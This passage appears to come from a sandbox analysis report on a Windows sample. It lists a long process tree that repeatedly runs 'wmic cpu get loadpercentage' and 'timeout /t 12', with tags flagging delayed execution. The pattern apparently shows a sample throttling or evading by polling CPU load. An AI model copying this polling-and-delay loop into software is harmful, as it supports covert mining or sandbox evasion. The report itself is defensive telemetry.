-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4680
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:500
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2444
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4464
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3968
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2692
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4472
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3152
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3056
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3332
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2064
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2288
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2260
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3508
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2524
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1428
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4016
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1440
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2160
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2168
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2172
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2284
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2152
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2588
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4552
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1832
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2552
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4784
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1108
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:8
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4212
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3532
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4292
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4632
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:440
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4132
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1964
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3372
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4180
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4640
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:516
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4692
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3092
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2096
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2512
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1068
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4616
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5020
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2828
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4460
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3696
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3672
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3848
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4720
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4480
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1392
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5072
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1540
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4864
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2132
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1996
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5100
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4440
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1100
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2664
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1756
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2260
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3272
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4772
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3124
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4832
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4664
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2160
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4800
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2280
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4236
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:168
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4552
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:832
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4804
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4784
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3320
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4080
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4220
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4452
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:392
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3116
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4132
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5104
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2148
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4888
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4640
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4604
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2060
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4072
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4476
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:196
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1072
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4560
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4156
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1968
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4788
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3928
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2444
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3520
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1412
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1592
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2204
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3688
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3996
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1220
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3196
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2064
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1100
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4868
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2664
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4896
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3752
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3272
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2524
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3356
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5088
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2904
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2164
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3496
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2280
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:760
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2200
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2552
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5116
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:8
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:512
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3320
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3632
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3860
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1884
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3132
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4132
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2148
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1912
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3424
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4888
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1676
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:596
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3024
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1696
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1908
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4684
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4148
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4560
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2696
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4264
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3928
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4720
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3788
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3520
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2472
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1412
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2204
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3968
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4308
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3156
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3056
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4908
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1100
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2260
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4244
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5092
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3148
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2276
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2600
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3564
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3484
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:764
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1572
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4236
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2280
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2256
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2008
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1608
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4124
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:68
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:696
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1348
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:756
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1148
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1872
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:364
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2084
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:436
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3320
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2732
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3048
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3892
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3404
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3536
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4452
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3632
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4132
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2540
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4180
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1912
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2896
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4880
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1120
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4604
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2488
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1696
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4956
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4616
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4368
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4260
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4148
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4156
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4320
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1968
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3928
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3988
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1400
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2472
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:904
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2132
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4252
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3056
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3984
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4444
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1652
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1300
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5092
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:684
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3644
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4016
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4240
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4636
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3484
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3616
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2144
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:428
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2912
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:760
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2008
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3456
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:68
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5112
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:240
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:696
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3808
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2868
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4612
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2192
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3532
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4544
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4080
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3908
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3896
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:440
-
-
